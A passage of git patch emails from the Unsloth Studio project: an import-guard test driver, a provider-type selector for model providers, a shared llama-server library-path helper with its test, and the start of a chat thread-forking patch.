+    # the standard PathFinder -- the editable / PEP 660 install shape.
+    real_root = cfg.get("real_root")
+    if real_root:
+        class _RealFinder(importlib.abc.MetaPathFinder):
+            def find_spec(self, fullname, path=None, target=None):
+                if fullname.split(".")[0] not in ("unsloth", "unsloth_zoo"):
+                    return None
+                parts = fullname.split(".")
+                init = os.path.join(real_root, *parts, "__init__.py")
+                if os.path.isfile(init):
+                    return importlib.util.spec_from_file_location(
+                        fullname, init,
+                        submodule_search_locations=[os.path.dirname(init)],
+                    )
+                return None
+        sys.meta_path.append(_RealFinder())
+
+    # optionally force importlib.invalidate_caches to raise, to prove the guard
+    # still restores sys.path in that case
+    if cfg.get("raise_on_invalidate"):
+        def _boom():
+            raise RuntimeError("invalidate_caches failed")
+        importlib.invalidate_caches = _boom
+
+    path_before = list(sys.path)
+    result = {"error": None}
+    try:
+        _ensure_real_packages(*cfg["names"])
+    except Exception as e:
+        result["error"] = type(e).__name__
+
+    result["path_restored"] = list(sys.path) == path_before
+    of = os.environ["GUARD_ORDER_FILE"]
+    result["order"] = open(of).read().split() if os.path.isfile(of) else []
+    sf = os.environ["GUARD_SENTINEL_FILE"]
+    result["sentinel_when_zoo_imported"] = (
+        open(sf).read().strip() if os.path.isfile(sf) else None
+    )
+
+    def _real(name):
+        m = sys.modules.get(name)
+        return bool(m and getattr(m, "REAL", False))
+    result["unsloth_real"] = _real("unsloth")
+    result["unsloth_zoo_real"] = _real("unsloth_zoo")
+
+    json.dump(result, open(cfg["out"], "w"))
+    """
+)
+
+
+def _make_namespace_shadow(root: Path, name: str) -> None:
+    """A directory named `name` with no __init__.py -> namespace portion."""
+    (root / name).mkdir(parents = True, exist_ok = True)
+
+
+def _make_real_pkg(root: Path) -> None:
+    (root / "unsloth").mkdir(parents = True, exist_ok = True)
+    (root / "unsloth" / "__init__.py").write_text(_REAL_UNSLOTH_INIT)
+    (root / "unsloth_zoo").mkdir(parents = True, exist_ok = True)
+    (root / "unsloth_zoo" / "__init__.py").write_text(_REAL_ZOO_INIT)
+
+
+def _run(
+    tmp_path: Path,
+    *,
+    shadow_roots,
+    real: bool,
+    names = ("unsloth_zoo", "unsloth"),
+    trainer_py: Path = TRAINER_PY,
+    raise_on_invalidate: bool = False,
+):
+    order_file = tmp_path / "order.txt"
+    sentinel_file = tmp_path / "sentinel.txt"
+    out = tmp_path / "result.json"
+    real_root = tmp_path / "real"
+    if real:
+        _make_real_pkg(real_root)
+
+    cfg = {
+        "trainer_py": str(trainer_py),
+        "shadow_roots": [str(r) for r in shadow_roots],
+        "real_root": str(real_root) if real else None,
+        "names": list(names),
+        "out": str(out),
+        "raise_on_invalidate": raise_on_invalidate,
+    }
+    cfg_path = tmp_path / "cfg.json"
+    cfg_path.write_text(json.dumps(cfg))
+    driver = tmp_path / "driver.py"
+    driver.write_text(_DRIVER)
+
+    env = dict(os.environ)
+    env["GUARD_ORDER_FILE"] = str(order_file)
+    env["GUARD_SENTINEL_FILE"] = str(sentinel_file)
+    env.pop("UNSLOTH_GPU_INIT_RAN", None)
+    # Drop PYTHONPATH too so nothing re-introduces the real packages onto the
+    # path; -S already keeps site-packages off.
+    env.pop("PYTHONPATH", None)
+
+    proc = subprocess.run(
+        # -S: skip site-packages so the installed unsloth_zoo can't shadow-beat
+        # the namespace portion; the real package is served by the meta finder.
+        [sys.executable, "-S", str(driver), str(cfg_path)],
+        env = env,
+        capture_output = True,
+        text = True,
+        timeout = 120,
+    )
+    assert (
+        out.is_file()
+    ), f"driver did not produce a result\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    return json.loads(out.read_text())
+
+
+# ── scenarios ────────────────────────────────────────────────────────
+
+
+def test_only_zoo_shadowed_imports_unsloth_first(tmp_path):
+    """Core concern: a unsloth_zoo shadow must not make the guard import
+    unsloth_zoo before unsloth -- that would skip _gpu_init's pre-zoo fixes."""
+    shadow = tmp_path / "shadow"
+    _make_namespace_shadow(shadow, "unsloth_zoo")
+    res = _run(tmp_path, shadow_roots = [shadow], real = True)
+
+    assert res["error"] is None
+    assert res["order"] == ["unsloth", "unsloth_zoo"], res
+    assert res["sentinel_when_zoo_imported"] == "1", res
+    assert res["unsloth_real"] and res["unsloth_zoo_real"], res
+    assert res["path_restored"], res
+
+
+def test_both_shadowed_imports_unsloth_first(tmp_path):
+    shadow = tmp_path / "shadow"
+    _make_namespace_shadow(shadow, "unsloth")
+    _make_namespace_shadow(shadow, "unsloth_zoo")
+    res = _run(tmp_path, shadow_roots = [shadow], real = True)
+
+    assert res["error"] is None
+    assert res["order"] == ["unsloth", "unsloth_zoo"], res
+    assert res["sentinel_when_zoo_imported"] == "1", res
+    assert res["unsloth_real"] and res["unsloth_zoo_real"], res
+    assert res["path_restored"], res
+
+
+def test_only_unsloth_shadowed_recovers(tmp_path):
+    shadow = tmp_path / "shadow"
+    _make_namespace_shadow(shadow, "unsloth")
+    res = _run(tmp_path, shadow_roots = [shadow], real = True)
+
+    assert res["error"] is None
+    assert res["order"] == ["unsloth", "unsloth_zoo"], res
+    assert res["unsloth_real"] and res["unsloth_zoo_real"], res
+    assert res["path_restored"], res
+
+
+def test_healthy_install_is_noop(tmp_path):
+    """No shadow on sys.path: the guard imports nothing and leaves sys.path."""
+    res = _run(tmp_path, shadow_roots = [], real = True)
+
+    assert res["error"] is None
+    assert res["order"] == [], res  # guard short-circuits before importing
+    assert res["path_restored"], res
+
+
+def test_real_package_absent_surfaces_module_not_found(tmp_path):
+    shadow = tmp_path / "shadow"
+    _make_namespace_shadow(shadow, "unsloth_zoo")
+    res = _run(tmp_path, shadow_roots = [shadow], real = False)
+
+    assert res["error"] == "ModuleNotFoundError", res
+    assert res["path_restored"], res  # restored even on failure
+
+
+def test_multiple_shadow_entries_all_removed(tmp_path):
+    shadow_a = tmp_path / "shadow_a"
+    shadow_b = tmp_path / "shadow_b"
+    _make_namespace_shadow(shadow_a, "unsloth_zoo")
+    _make_namespace_shadow(shadow_b, "unsloth_zoo")
+    res = _run(tmp_path, shadow_roots = [shadow_a, shadow_b], real = True)
+
+    assert res["error"] is None
+    # if only one offending entry were dropped, zoo would still resolve to a
+    # namespace shadow and unsloth_zoo_real would be False
+    assert res["unsloth_zoo_real"], res
+    assert res["order"] == ["unsloth", "unsloth_zoo"], res
+    assert res["path_restored"], res
+
+
+def test_sys_path_restored_if_invalidate_caches_raises(tmp_path):
+    """sys.path is restored even if importlib.invalidate_caches raises."""
+    shadow = tmp_path / "shadow"
+    _make_namespace_shadow(shadow, "unsloth_zoo")
+    res = _run(tmp_path, shadow_roots = [shadow], real = True, raise_on_invalidate = True)
+
+    assert res["error"] == "RuntimeError", res
+    assert res["path_restored"], res
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))

From 9beefcaf7ca394f20339d9be850051067902577b Mon Sep 17 00:00:00 2001
From: Octopus <liyuan851277048@icloud.com>
Date: Mon, 15 Jun 2026 21:07:06 +0800
Subject: [PATCH 14/91] feat(studio): expose provider_type selector in model
 provider dialog (#4277)

* feat(studio): expose provider_type selector in model provider dialog

Use the configured provider_type in the model provider payload instead of hardcoding openai. Add a provider type selector to the model provider dialog for the provider types supported by Data Designer.

* feat(studio): add MiniMax-M2.7 inference defaults

Add MiniMax-M2.7 model family entry to inference_defaults.json
with recommended parameters (temperature=1.0, top_p=0.95, top_k=40).
Pattern placed before minimax-m2.5 for correct longest-match-first
ordering.

* Fix/adjust provider type support for PR #4277

* Clarify provider type validation for PR #4277

* Fix provider type default validation for PR #4277

---------

Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: PR Bot <pr-bot@minimaxi.com>
---
 .../assets/configs/inference_defaults.json    |  9 ++-
 .../dialogs/models/model-provider-dialog.tsx  | 62 ++++++++++++++++---
 .../utils/model-provider-types.ts             | 20 ++++++
 .../utils/payload/builders-model.ts           |  3 +-
 .../recipe-studio/utils/payload/validate.ts   | 10 ++-
 5 files changed, 92 insertions(+), 12 deletions(-)
 create mode 100644 studio/frontend/src/features/recipe-studio/utils/model-provider-types.ts

diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json
index 1b10b557e4..1c7a409bc1 100644
--- a/studio/backend/assets/configs/inference_defaults.json
+++ b/studio/backend/assets/configs/inference_defaults.json
@@ -277,6 +277,13 @@
       "min_p": 0.01,
       "repetition_penalty": 1.0
     },
+    "minimax-m2.7": {
+      "temperature": 1.0,
+      "top_p": 0.95,
+      "top_k": 40,
+      "min_p": 0.01,
+      "repetition_penalty": 1.0
+    },
     "minimax-m2.5": {
       "temperature": 1.0,
       "top_p": 0.95,
@@ -390,7 +397,7 @@
     "deepseek-r1", "deepseek-v3", "deepseek-ocr",
     "glm-5", "glm-4",
     "nemotron",
-    "minimax-m2.5", "minimax",
+    "minimax-m2.7", "minimax-m2.5", "minimax",
     "gpt-oss", "granite-4",
     "kimi-k2", "kimi",
     "lfm2", "smollm", "olmo", "falcon", "ernie", "seed", "grok", "mimo"
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
index ef7366a225..383c9718f2 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/models/model-provider-dialog.tsx
@@ -7,9 +7,20 @@ import {
   CollapsibleTrigger,
 } from "@/components/ui/collapsible";
 import { Input } from "@/components/ui/input";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
 import { Textarea } from "@/components/ui/textarea";
-import { type ReactElement, useState } from "react";
+import { type ReactElement, useMemo, useState } from "react";
 import type { ModelProviderConfig } from "../../types";
+import {
+  MODEL_PROVIDER_TYPE_OPTIONS,
+  normalizeModelProviderType,
+} from "../../utils/model-provider-types";
 import { CollapsibleSectionTriggerButton } from "../shared/collapsible-section-trigger";
 import { FieldLabel } from "../shared/field-label";
 import { NameField } from "../shared/name-field";
@@ -26,10 +37,28 @@ export function ModelProviderDialog({
   const [optionalOpen, setOptionalOpen] = useState(false);
   const isLocal = config.is_local ?? false;
   const endpointId = `${config.id}-endpoint`;
+  const providerTypeId = `${config.id}-provider-type`;
   const apiKeyEnvId = `${config.id}-api-key-env`;
   const apiKeyId = `${config.id}-api-key`;
   const extraHeadersId = `${config.id}-extra-headers`;
   const extraBodyId = `${config.id}-extra-body`;
+  const providerType =
+    normalizeModelProviderType(config.provider_type) || "openai";
+  const providerTypeOptions = useMemo<
+    Array<{ value: string; label: string }>
+  >(() => {
+    if (
+      MODEL_PROVIDER_TYPE_OPTIONS.some(
+        (option) => option.value === providerType,
+      )
+    ) {
+      return [...MODEL_PROVIDER_TYPE_OPTIONS];
+    }
+    return [
+      { value: providerType, label: providerType },
+      ...MODEL_PROVIDER_TYPE_OPTIONS,
+    ];
+  }, [providerType]);
   const updateField = <K extends keyof ModelProviderConfig>(
     key: K,
     value: ModelProviderConfig[K],
@@ -67,9 +96,7 @@ export function ModelProviderDialog({
               })
             }
           >
-            <p className="text-sm font-semibold text-foreground">
-              Local model
-            </p>
+            <p className="text-sm font-semibold text-foreground">Local model</p>
             <p className="mt-0.5 text-xs text-muted-foreground">
               Use the model loaded in the Chat tab
             </p>
@@ -92,12 +119,9 @@ export function ModelProviderDialog({
           </button>
         </div>
       </div>
-
       {isLocal ? (
         <div className="rounded-2xl border border-border/60 bg-muted/10 px-4 py-3">
-          <p className="text-sm font-semibold text-foreground">
-            Ready to go
-          </p>
+          <p className="text-sm font-semibold text-foreground">Ready to go</p>
           <p className="mt-1 text-xs text-muted-foreground">
             Recipes will use whatever model is loaded in the Chat tab when you
             hit run. No endpoint or API key needed.
@@ -128,6 +152,28 @@ export function ModelProviderDialog({
               onChange={(event) => updateField("endpoint", event.target.value)}
             />
           </div>
+          <div className="grid gap-1.5">
+            <FieldLabel
+              label="Provider type"
+              htmlFor={providerTypeId}
+              hint="SDK used for API calls. Most providers are OpenAI-compatible."
+            />
+            <Select
+              value={providerType}
+              onValueChange={(value) => updateField("provider_type", value)}
+            >
+              <SelectTrigger id={providerTypeId} className="nodrag">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                {providerTypeOptions.map((opt) => (
+                  <SelectItem key={opt.value} value={opt.value}>
+                    {opt.label}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+          </div>
           <div className="grid gap-1.5">
             <FieldLabel
               label="API key (optional)"
diff --git a/studio/frontend/src/features/recipe-studio/utils/model-provider-types.ts b/studio/frontend/src/features/recipe-studio/utils/model-provider-types.ts
new file mode 100644
index 0000000000..ed686d86e4
--- /dev/null
+++ b/studio/frontend/src/features/recipe-studio/utils/model-provider-types.ts
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export const MODEL_PROVIDER_TYPE_OPTIONS = [
+  { value: "openai", label: "OpenAI-compatible" },
+  { value: "anthropic", label: "Anthropic" },
+] as const;
+
+export const SUPPORTED_MODEL_PROVIDER_TYPES = MODEL_PROVIDER_TYPE_OPTIONS.map(
+  (option) => option.value,
+);
+
+export function normalizeModelProviderType(value: string): string {
+  return value.trim().toLowerCase();
+}
+
+export function isSupportedModelProviderType(value: string): boolean {
+  const normalized = normalizeModelProviderType(value);
+  return SUPPORTED_MODEL_PROVIDER_TYPES.some((type) => type === normalized);
+}
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/builders-model.ts b/studio/frontend/src/features/recipe-studio/utils/payload/builders-model.ts
index 0a85ef618f..24016de03c 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/builders-model.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/builders-model.ts
@@ -27,6 +27,7 @@ export function buildModelProvider(
     };
   }
 
+  const providerType = config.provider_type.trim().toLowerCase() || "openai";
   const extraHeaders = parseJsonObject(
     config.extra_headers,
     `Provider ${config.name} extra_headers`,
@@ -41,7 +42,7 @@ export function buildModelProvider(
     name: config.name,
     endpoint: config.endpoint,
     // biome-ignore lint/style/useNamingConvention: api schema
-    provider_type: "openai",
+    provider_type: providerType,
     // biome-ignore lint/style/useNamingConvention: api schema
     api_key_env: config.api_key_env?.trim() || undefined,
     // biome-ignore lint/style/useNamingConvention: api schema
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/validate.ts b/studio/frontend/src/features/recipe-studio/utils/payload/validate.ts
index a3b3763291..2e3c13d4b2 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/validate.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/validate.ts
@@ -8,6 +8,10 @@ import type {
   ValidatorCodeLang,
   ValidatorConfig,
 } from "../../types";
+import {
+  isSupportedModelProviderType,
+  normalizeModelProviderType,
+} from "../model-provider-types";
 import { VALIDATOR_OXC_CODE_LANGS } from "../validators/code-lang";
 import { isOxcCodeShape } from "../validators/oxc-code-shape";
 import { isOxcValidationMode } from "../validators/oxc-mode";
@@ -133,9 +137,11 @@ export function validateUsedProviders(
     if (!provider.endpoint.trim()) {
       errors.push(`Model provider ${provider.name}: endpoint is required.`);
     }
-    if (!provider.provider_type.trim()) {
+    const providerType =
+      normalizeModelProviderType(provider.provider_type) || "openai";
+    if (!isSupportedModelProviderType(providerType)) {
       errors.push(
-        `Model provider ${provider.name}: provider_type is required.`,
+        `Model provider ${provider.name}: provider_type '${providerType}' is not supported by Data Designer. Use openai for OpenAI-compatible providers or anthropic for native Anthropic.`,
       );
     }
   }

From 9413e7280212299f552d12ea7b37d2b30956bd71 Mon Sep 17 00:00:00 2001
From: Hua <75751972+huaj1ng@users.noreply.github.com>
Date: Mon, 15 Jun 2026 15:55:41 +0200
Subject: [PATCH 15/91] Fix the libaray path for probe_server_capabilities()
 (#5797)

* Fix the libaray path for probe_server_capabilities()

even when running something as simple as `./llama-server --help`,
the binary still requires correct LD_LIBRARY_PATH to work - or it
returns merely an "error while loading shared libraries":
"libllama-server-impl.so: cannot open shared object file: No such file or directory"

For a local installation with no LD_LIBRARY_PATH specifically set,
the probe_server_capabilities() run of `./llana-server --help` should
share the same libaray resolution logic as start_llama_server().

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Adjust and readd comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 205 +++++++++---------
 .../tests/test_llama_cpp_mtp_detection.py     |  33 +++
 2 files changed, 138 insertions(+), 100 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 00dfe14e63..74e7a8f220 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1281,12 +1281,14 @@ class LlamaCppBackend:
         supports_ctx_checkpoints = False
         supports_no_cache_prompt = False
         try:
+            probe_env = cls._llama_server_env_for_binary(bin_path)
             result = subprocess.run(
                 [bin_path, "--help"],
                 capture_output = True,
                 text = True,
                 timeout = 10,
                 check = False,
+                env = probe_env,
             )
             help_text = (result.stdout or "") + "\n" + (result.stderr or "")
             # Split into per-flag blocks (each --flag line + its indented
@@ -1795,6 +1797,100 @@ class LlamaCppBackend:
                 path_dirs.append(cuda_bin_x64)
         return path_dirs
 
+    @staticmethod
+    def _llama_server_env_for_binary(binary: str) -> dict[str, str]:
+        """Build a subprocess env that lets llama-server resolve native libs."""
+        env = child_env_without_native_path_secret()
+        binary_dir = str(Path(binary).parent)
+
+        if sys.platform == "win32":
+            # Ordering: see _build_windows_path_dirs. #5106.
+            path_dirs = LlamaCppBackend._build_windows_path_dirs(
+                binary_dir,
+                sys.prefix,
+                os.environ.get("CUDA_PATH", ""),
+            )
+            existing_path = env.get("PATH", "")
+            env["PATH"] = ";".join(path_dirs) + ";" + existing_path
+
+            # ROCm: the prebuilt bundles rocblas.dll but NOT the Tensile
+            # kernel files (rocblas/library/*.dat + *.hsaco); the DLL searches
+            # <binary_dir>/rocblas/library/ which doesn't exist.
+            _hip_path = os.environ.get("HIP_PATH", os.environ.get("ROCM_PATH", ""))
+            if _hip_path:
+                _rocblas_lib = os.path.join(_hip_path, "bin", "rocblas", "library")
+                if os.path.isdir(_rocblas_lib):
+                    env.setdefault("ROCBLAS_TENSILE_LIBPATH", _rocblas_lib)
+        else:
+            # Linux: LD_LIBRARY_PATH for shared libs next to the binary plus
+            # CUDA runtime libs (libcudart, libcublas, etc.)
+            import platform
+
+            lib_dirs = []
+            # WSL: system HIP before the bundle's (which segfaults on /dev/dxg).
+            for _wsl_rocm in _wsl_system_rocm_lib_dirs():
+                lib_dirs.append(_wsl_rocm)
+            if lib_dirs:
+                env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
+            lib_dirs.append(binary_dir)
+            _arch = platform.machine()  # x86_64, aarch64, etc.
+
+            # Pip-installed nvidia CUDA runtime libs. The prebuilt binary links
+            # libcudart.so.13 / libcublas.so.13 which live here, not in
+            # /usr/local/cuda.
+            import glob as _glob
+
+            for _nv_pattern in [
+                os.path.join(
+                    sys.prefix,
+                    "lib",
+                    "python*",
+                    "site-packages",
+                    "nvidia",
+                    "cu*",
+                    "lib",
+                ),
+                os.path.join(
+                    sys.prefix,
+                    "lib",
+                    "python*",
+                    "site-packages",
+                    "nvidia",
+                    "cudnn",
+                    "lib",
+                ),
+                os.path.join(
+                    sys.prefix,
+                    "lib",
+                    "python*",
+                    "site-packages",
+                    "nvidia",
+                    "nvjitlink",
+                    "lib",
+                ),
+            ]:
+                for _nv_dir in _glob.glob(_nv_pattern):
+                    if os.path.isdir(_nv_dir):
+                        lib_dirs.append(_nv_dir)
+
+            for cuda_lib in [
+                "/usr/local/cuda/lib64",
+                f"/usr/local/cuda/targets/{_arch}-linux/lib",
+                # Fallback CUDA compat paths (e.g. binary built with CUDA 12
+                # where default /usr/local/cuda is CUDA 13+).
+                "/usr/local/cuda-12/lib64",
+                "/usr/local/cuda-12.8/lib64",
+                f"/usr/local/cuda-12/targets/{_arch}-linux/lib",
+                f"/usr/local/cuda-12.8/targets/{_arch}-linux/lib",
+            ]:
+                if os.path.isdir(cuda_lib):
+                    lib_dirs.append(cuda_lib)
+            existing_ld = env.get("LD_LIBRARY_PATH", "")
+            new_ld = ":".join(lib_dirs)
+            env["LD_LIBRARY_PATH"] = f"{new_ld}:{existing_ld}" if existing_ld else new_ld
+
+        return env
+
     @staticmethod
     def _select_gpus(
         model_size_bytes: int,
@@ -4168,8 +4264,15 @@ class LlamaCppBackend:
                 logger.info(f"Starting llama-server: {' '.join(_log_cmd)}")
 
                 # Library paths so llama-server finds its shared libs and CUDA DLLs.
-                env = child_env_without_native_path_secret()
-                binary_dir = str(Path(binary).parent)
+                env = self._llama_server_env_for_binary(binary)
+
+                # Windows + full offload: PASSIVE OMP + 2 threads stop
+                # spin-wait burning CPU. CPU/partial offload keeps default
+                # OMP parallelism. #5692.
+                if sys.platform == "win32" and full_offload_tuning_active:
+                    env.setdefault("OMP_WAIT_POLICY", "PASSIVE")
+                    if not threads_overridden:
+                        env.setdefault("OMP_NUM_THREADS", "2")
 
                 # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use
                 # shared system RAM. setdefault so a user value wins.
@@ -4185,104 +4288,6 @@ class LlamaCppBackend:
                         f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})"
                     )
 
-                if sys.platform == "win32":
-                    # Ordering: see _build_windows_path_dirs. #5106.
-                    path_dirs = self._build_windows_path_dirs(
-                        binary_dir,
-                        sys.prefix,
-                        os.environ.get("CUDA_PATH", ""),
-                    )
-                    existing_path = env.get("PATH", "")
-                    env["PATH"] = ";".join(path_dirs) + ";" + existing_path
-
-                    # Windows + full offload: PASSIVE OMP + 2 threads stop
-                    # spin-wait burning CPU. CPU/partial offload keeps
-                    # default OMP parallelism. #5692.
-                    if full_offload_tuning_active:
-                        env.setdefault("OMP_WAIT_POLICY", "PASSIVE")
-                        if not threads_overridden:
-                            env.setdefault("OMP_NUM_THREADS", "2")
-
-                    # ROCm: the prebuilt bundles rocblas.dll but NOT the Tensile
-                    # kernel files (rocblas/library/*.dat + *.hsaco); the DLL
-                    # searches <binary_dir>/rocblas/library/ which doesn't exist
-                    # -> silent crash on the first GEMM. ROCBLAS_TENSILE_LIBPATH
-                    # repoints that search at the ROCm install.
-                    _hip_path = os.environ.get("HIP_PATH", os.environ.get("ROCM_PATH", ""))
-                    if _hip_path:
-                        _rocblas_lib = os.path.join(_hip_path, "bin", "rocblas", "library")
-                        if os.path.isdir(_rocblas_lib):
-                            env.setdefault("ROCBLAS_TENSILE_LIBPATH", _rocblas_lib)
-                else:
-                    # Linux: LD_LIBRARY_PATH for shared libs next to the binary
-                    # plus CUDA runtime libs (libcudart, libcublas, etc.)
-                    import platform
-
-                    lib_dirs = []
-                    # WSL: system HIP before the bundle's (which segfaults on
-                    # /dev/dxg). Mirror install_llama_prebuilt.binary_env, which
-                    # validates the prebuilt with this same ordering.
-                    for _wsl_rocm in _wsl_system_rocm_lib_dirs():
-                        lib_dirs.append(_wsl_rocm)
-                    if lib_dirs:
-                        env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
-                    lib_dirs.append(binary_dir)
-                    _arch = platform.machine()  # x86_64, aarch64, etc.
-
-                    # Pip-installed nvidia CUDA runtime libs. The prebuilt
-                    # binary links libcudart.so.13 / libcublas.so.13 which live
-                    # here, not in /usr/local/cuda.
-                    import glob as _glob
-
-                    for _nv_pattern in [
-                        os.path.join(
-                            sys.prefix,
-                            "lib",
-                            "python*",
-                            "site-packages",
-                            "nvidia",
-                            "cu*",
-                            "lib",
-                        ),
-                        os.path.join(
-                            sys.prefix,
-                            "lib",
-                            "python*",
-                            "site-packages",
-                            "nvidia",
-                            "cudnn",
-                            "lib",
-                        ),
-                        os.path.join(
-                            sys.prefix,
-                            "lib",
-                            "python*",
-                            "site-packages",
-                            "nvidia",
-                            "nvjitlink",
-                            "lib",
-                        ),
-                    ]:
-                        for _nv_dir in _glob.glob(_nv_pattern):
-                            if os.path.isdir(_nv_dir):
-                                lib_dirs.append(_nv_dir)
-
-                    for cuda_lib in [
-                        "/usr/local/cuda/lib64",
-                        f"/usr/local/cuda/targets/{_arch}-linux/lib",
-                        # Fallback CUDA compat paths (e.g. binary built with
-                        # CUDA 12 where default /usr/local/cuda is CUDA 13+).
-                        "/usr/local/cuda-12/lib64",
-                        "/usr/local/cuda-12.8/lib64",
-                        f"/usr/local/cuda-12/targets/{_arch}-linux/lib",
-                        f"/usr/local/cuda-12.8/targets/{_arch}-linux/lib",
-                    ]:
-                        if os.path.isdir(cuda_lib):
-                            lib_dirs.append(cuda_lib)
-                    existing_ld = env.get("LD_LIBRARY_PATH", "")
-                    new_ld = ":".join(lib_dirs)
-                    env["LD_LIBRARY_PATH"] = f"{new_ld}:{existing_ld}" if existing_ld else new_ld
-
                 # Pin to selected GPU(s). On ROCm, narrowing only
                 # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full
                 # set, so set HIP_VISIBLE_DEVICES too.
diff --git a/studio/backend/tests/test_llama_cpp_mtp_detection.py b/studio/backend/tests/test_llama_cpp_mtp_detection.py
index 2cc0fb4184..14c3848d33 100644
--- a/studio/backend/tests/test_llama_cpp_mtp_detection.py
+++ b/studio/backend/tests/test_llama_cpp_mtp_detection.py
@@ -10,6 +10,7 @@ the _already_in_target_state mirror that prevents needless reloads.
 from __future__ import annotations
 
 import inspect
+import os
 import struct
 import sys
 import types as _types
@@ -566,6 +567,38 @@ def test_probe_server_capabilities_detects_draft_mtp(tmp_path):
     assert caps["supports_mtp"] is True
 
 
+@_NEEDS_BASH
+def test_probe_server_capabilities_uses_binary_library_env(tmp_path, monkeypatch):
+    fake = _make_fake_llama_server(
+        tmp_path / "llama-server",
+        "--spec-type none,mtp,ngram-simple\n",
+    )
+    captured = {}
+
+    monkeypatch.setattr(
+        "core.inference.llama_cpp.child_env_without_native_path_secret",
+        lambda: {"LD_LIBRARY_PATH": "/already-there"},
+    )
+
+    def fake_run(cmd, **kwargs):
+        captured["cmd"] = cmd
+        captured["env"] = kwargs.get("env")
+        return _types.SimpleNamespace(stdout = "--spec-type none,mtp,ngram-simple\n", stderr = "")
+
+    monkeypatch.setattr("core.inference.llama_cpp.subprocess.run", fake_run)
+
+    _clear_caps_cache()
+    caps = LlamaCppBackend.probe_server_capabilities(str(fake))
+
+    assert caps["found"] is True
+    assert caps["supports_mtp"] is True
+    assert captured["cmd"] == [str(fake), "--help"]
+    assert captured["env"] is not None
+    ld_dirs = captured["env"]["LD_LIBRARY_PATH"].split(os.pathsep)
+    assert str(fake.parent) in ld_dirs
+    assert "/already-there" in ld_dirs
+
+
 @_NEEDS_BASH
 def test_probe_server_capabilities_detects_renamed_mtp(tmp_path):
     # Renamed upstream: draft-mtp -> mtp.

From e54b6babd681b216125155d018d256f6d73fd1b0 Mon Sep 17 00:00:00 2001
From: Erildo <Erildo@users.noreply.github.com>
Date: Mon, 15 Jun 2026 15:57:39 +0200
Subject: [PATCH 16/91] =?UTF-8?q?feat:=20implement=20thread=20forking=20fu?=
 =?UTF-8?q?nctionality=20with=20associated=20database=E2=80=A6=20(#5810)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* feat: implement thread forking functionality with associated database updates and UI components

* fix(studio/chat): register fork-count listener even when thread unsaved

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Polish thread fork action menu

* fix-studio-fork-project-test-order

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/routes/chat_history.py         |  83 +++++++++
 studio/backend/storage/studio_db.py           | 146 ++++++++++++++-
 .../backend/tests/test_chat_history_routes.py | 174 ++++++++++++++++++
 .../tests/test_chat_history_storage.py        | 132 +++++++++++++
 .../src/components/assistant-ui/thread.tsx    | 128 ++++++++++++-
 .../src/features/chat/api/chat-api.ts         |  39 ++++
 .../chat/hooks/use-chat-sidebar-items.ts      |   2 +
 .../src/features/chat/thread-sidebar.tsx      |   8 +
 studio/frontend/src/features/chat/types.ts    |   8 +
 9 files changed, 715 insertions(+), 5 deletions(-)

diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 2ea572e30e..1243b284b4 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -18,9 +18,11 @@ from storage.studio_db import (
     CorruptSettingsError,
     clear_chat_history,
     count_chat_threads,
+    count_forks_for_message,
     delete_chat_threads,
     delete_chat_project,
     ensure_chat_project_workspace,
+    fork_chat_thread,
     get_chat_project,
     get_chat_thread,
     get_chat_message,
@@ -56,6 +58,8 @@ class ChatThread(BaseModel):
     createdAt: int
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
